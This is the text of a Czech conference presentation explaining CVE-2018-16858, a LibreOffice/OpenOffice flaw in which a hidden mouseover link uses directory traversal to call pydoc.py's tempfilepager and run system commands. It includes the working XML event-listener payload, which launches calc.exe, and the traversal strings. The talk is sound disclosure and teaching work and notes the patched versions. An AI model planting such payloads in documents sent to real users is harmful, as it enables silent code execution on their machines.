Útok na [Libre|Open]Office s pomocí Pythonu

Petr Krčmář

7. února 2019

Prezentace už teď na webu

www.petrkrcmar.cz

Zajímavosti o [Libre|Open]Office

- umí makra v různých jazycích

Zajímavosti o [Libre|Open]Office

- umí makra v různých jazycích
- umí reagovat na události – třeba `onmouseover`

Zajímavosti o [Libre|Open]Office

- umí makra v různých jazycích
- umí reagovat na události – třeba `onmouseover`
  - makro běžně proběhne bez povšimnutí

Zajímavosti o [Libre|Open]Office

- umí makra v různých jazycích
- umí reagovat na události – třeba `onmouseover`
  - makro běžně proběhne bez povšimnutí
- objekty můžou mít různé barvy popředí i pozadí

Zajímavosti o [Libre|Open]Office

- umí makra v různých jazycích
- umí reagovat na události – třeba `onmouseover`
  - makro běžně proběhne bez povšimnutí
- objekty můžou mít různé barvy popředí i pozadí
- [Libre|Open]Office má integrovaný Python

Spuštění skriptu

- lze vytvořit skrytý odkaz (bílá na bílé)
- nastavit mu událost `onmouseover`
- zavoláme jeden z příkladových skriptů v Pythonu
- vznikne následující kód v dokumentu

Spuštění skriptu

- lze vytvořit skrytý odkaz (bílá na bílé)
- nastavit mu událost onmouseover
- zavoláme jeden z příkladových skriptů v Pythonu
- vznikne následující kód v dokumentu

```
<script:event-listener script:language="ooo:script"
script:event-name="dom:mouseover"
xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share"
xlink:type="simple"/>
```

Spuštění skriptu

- lze vytvořit skrytý odkaz (bílá na bílé)
- nastavit mu událost `onmouseover`
- zavoláme jeden z příkladových skriptů v Pythonu
- vznikne následující kód v dokumentu

```
<script:event-listener script:language="ooo:script"
script:event-name="dom:mouseover"
xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share"
xlink:type="simple"/>
```

- evidentně to načítá soubor `TableSample.py` z disku
- soubor obsahuje funkci `createTable`
- Python je integrovaný, nemusí být nainstalován v systému
- spouští se **bez vědomí uživatele**

ROOT.CZ vpsFree.cz

Directory traversal attack

- odkaz na skript je možné upravit
- přidat relativní cestu ke skriptu
- je tak možné spustit skript **kdekoliv na disku**

Directory traversal attack

- odkaz na skript je možné upravit
- přidat relativní cestu ke skriptu
- je tak možné spustit skript **kdekoliv na disku**

```
xlink:href="vnd.sun.star.script:../../../../../../../../TableSample.py$createTable?language=Python&amp;location=share"
```

- tohle obvykle skončí chybou FILE NOT FOUND
- když tam ale skript je, spustí se a může **provést cokoliv**

Kde vzít skript a nekrást?

- uživatel si ovšem stáhne jen `dokument.odt`
- nedonutíme ho stáhnout si `utok.py`
- handler může odkazovat i na skript **uvnitř dokumentu**
- můžeme si připravit vlastní útočný skript!

Kde vzít skript a nekrást?

- uživatel si ovšem stáhne jen `dokument.odt`
- nedonutíme ho stáhnout si `utok.py`
- handler může odkazovat i na skript **uvnitř dokumentu**
- můžeme si připravit vlastní útočný skript!

```
…utok.py$attack?language=Python&amp;location=document
```

Kde vzít skript a nekrást?

- uživatel si ovšem stáhne jen `dokument.odt`
- nedonutíme ho stáhnout si `utok.py`
- handler může odkazovat i na skript **uvnitř dokumentu**
- můžeme si připravit vlastní útočný skript!

```
…utok.py$attack?language=Python&amp;location=document
```

- jenže to vyvolá **potvrzovací dialog**
- tudy cesta nevede, upozorní to uživatele

ROOT.CZ vpsFree.cz

ODT + Python = útočný soubor

- co takhle využít už stažený dokument?
- vytvořit jeden soubor, který je zároveň ODT i .py!
- nejdřív skript, za něj ZIP s obsahem ODT
- otevře se jako dokument, po zavolání se zpracuje jako Python
- máme jeden soubor s oběma vlastnostmi

ROOT.CZ vpsFree.cz

ODT + Python = útočný soubor

- co takhle využít už stažený dokument?
- vytvořit jeden soubor, který je zároveň ODT i .py!
- nejdřív skript, za něj ZIP s obsahem ODT
- otevře se jako dokument, po zavolání se zpracuje jako Python
- máme jeden soubor s oběma vlastnostmi
- dobrý nápad, ale **nefunguje to**
- [Libre|Open]Office nesnesou nic před ODT ZIP hlavičkou
- není tam tedy prostor pro kód v Pythonu

Předání parametrů

- LibreOffice od verze 6.1 lze předat i parametry

```
….py$functionName(param1,param2)?language=Python&amp;location=share
```

Předání parametrů

- LibreOffice od verze 6.1 lze předat i parametry

```
….py$functionName(param1,param2)?language=Python&amp;location=share
```

- s balíkem přichází spousta skriptů v Pythonu
- stačí chvíli hledat...

Předání parametrů

- LibreOffice od verze 6.1 lze předat i parametry

```
….py$functionName(param1,param2)?language=Python&amp;location=share
```

- s balíkem přichází spousta skriptů v Pythonu
- stačí chvíli hledat...
- a najdete `python-core-3.5.5/lib/pydoc.py`

Nebezpečný obsah pydoc.py

```
def tempfilepager(text, cmd):
    """Page through text by invoking a program on a temporary file."""
    import tempfile
    filename = tempfile.mktemp()
    with open(filename, 'w', errors='backslashreplace') as file:
        file.write(text)
    try:
        os.system(cmd + ' "' + filename + '"')
    finally:
        os.unlink(filename)
```

- obsah parametru `cmd` se předá volání `os.system`
- to vyvolá spuštění libovolného systémového příkazu

Konečné řešení

```
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover"
xlink:href="vnd.sun.star.script:../../../program/python-core-3.5.5/lib/pydoc.py$tempfilepager(1, calc.exe )
?language=Python&amp;location=share" xlink:type="simple"/>
```

demo video

Současný stav

- LibreOffice je opravený v 6.1.4.2 a 6.0.7
  - znemožněn directory traversal
  - přístup jen do `share/Scripts/python` a `user/Scripts/python`
- OpenOffice zatím opravu nemá (poslední je 4.1.6)
  - directory traversal stále možný
  - OO ovšem nepodporuje předání parametrů
  - přesto dovoluje spustit libovolný skript

Odkazy

- CVE-2018-16858
- blogpost Alexe Inführa
- zprávička na Root.cz

Otázky?

Petr Krčmář
petr.krcmar@iinfo.cz